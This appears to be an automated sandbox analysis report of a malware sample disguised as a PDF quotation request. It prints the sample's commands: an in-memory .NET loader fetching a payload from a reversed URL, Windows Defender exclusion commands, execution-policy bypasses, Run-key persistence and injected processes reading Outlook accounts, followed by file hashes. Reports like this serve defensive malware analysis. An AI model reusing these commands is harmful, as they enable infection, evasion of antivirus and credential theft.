'C:\Users\Admin\AppData\Local\Temp\Quotation request YN2024-10-07pdf.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.revres/segami/or.cuicrelotsanomis//:sptth' , $huUPX , 'D D1D' ) );};"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4196 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1540
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2664
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C:\Windows\SYSTEM32\cmd.execmd.exe /c mkdir "C:\Users\Admin\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\"4⤵PID:3444
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\\x2.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4192
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\aizbp.ps1"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1472 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"5⤵
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2484 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\udtenzhkzckvbpxxjcjqczmgktni"6⤵PID:892
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\udtenzhkzckvbpxxjcjqczmgktni"6⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:64
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\eyhwgjsmnkcievtjanwjfdgptzfrrbm"6⤵
- Accesses Microsoft Outlook accounts
- System Location Discovery: System Language Discovery
PID:1632
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\hsmp"6⤵PID:3960
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\hsmp"6⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3092
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\xyqxhepbotkvjgagpvus.vbs"6⤵
- System Location Discovery: System Language Discovery
PID:2504
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C:\Windows\SYSTEM32\cmd.execmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Quotation request YN2024-10-07pdf.vbs"4⤵PID:1496
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
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Filesize
1KB
MD5c2edc7df60d16dbea2389b043dc446c1
SHA10b4cb20cb368cbbb6100905f57278a690ca5da8a
SHA25636270ae5039121c418a460a61457a4e3301f3a2525f1fa5dd99c8d0a92c67cf5
SHA512dc3e0de12bd1f8eafecc61b466f0040078e766af02bb9a70d816edda8b6e71e7af995e27a437382fc0e490c32f78c581c200fe6b8b364f90fe73d972e8d1eb4b
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Filesize
948B
MD5c1a54dd5a1ab44cc4c4afd42f291c863
SHA1b77043ab3582680fc96192e9d333a6be0ae0f69d
SHA256c6dce870a896f3531ae7a10a0c2096d2eb7eb5989ae783aefea6150279502d75
SHA512010f5093f58b0393d17c824a357513cf4f06239ccddd86c2e0581347ef3b8e7b93f869b0770bdaeb000e4fda7e14f49b9e45663a3839ab049446e9fe08ec535d
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
4KB
MD5c0ab2847671ed5375328c5127a02cc72
SHA1dc2bcb51562fb17e5c8787833bc0181d88a5b75e
SHA256e961f466a0638bc99182d0056245e2d8bf1ccc13a189b802aada981f379e2384
SHA5120b8b634d21ac71e02cef86687bf84b6fcecfd24dafab8130f42ce8b4b3f308a2e1b1fa7bf8d37f2eda76efae2b30b8d39f41d808d771562d8545ed144241924f
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Filesize
388B
MD59f5abc5f9a54a2e09861c697dd3574f7
SHA19988766052eade5cf5042b7fabd3f3c934d45b83
SHA25641f75329438ed7ba3bd0b09d3e44f0a874a41f1bf473f81521dc8c5d3e2d67b1
SHA512268d335a1df39890dc8b94c517a7eb7d85e5e41696b4654c14ea8e98887dc22bad59ea64a4cd1da9f45617b6054d7c42ead291e7a42a882297d0abc4aab37833
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C:\Users\Admin\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\aizbp.ps1
Filesize1.9MB
MD555e919661f9de24b48b149e427a7bc4c
SHA11094551a4ebe9137de836ff8af6457aea18b8b6e
SHA2561c0beeeddd3e4ed060af90342743046948dfcd4573745f66b4b697c5b7cc0823
SHA512505113eac6f00c7ece2fec7e520a276cd67bc31a97545ffde4623d09a5d670f4f2a2dd660f06bf5bf5d87f8f9c0ddcb1ca2659aef98531d571d2bad70e6f9041
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C:\Users\Admin\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\x2.ps1
Filesize393B
MD573205113855601ab57012f8cf6a814ed
SHA11185cf60cef16679f0c5847d2b1317ecffbfc5b7
SHA2567d92b7dbda3959bbaa7617719b4116d058c9db737834daef7113fe6291aef4ec
SHA51282ac66154b728184b5e623700c4967b054c430b1602b2df774d9018a6f7a92748da86dcfb50459a4f7a0dd7e4492d8b238a58f158ab89163d198f3365f52c318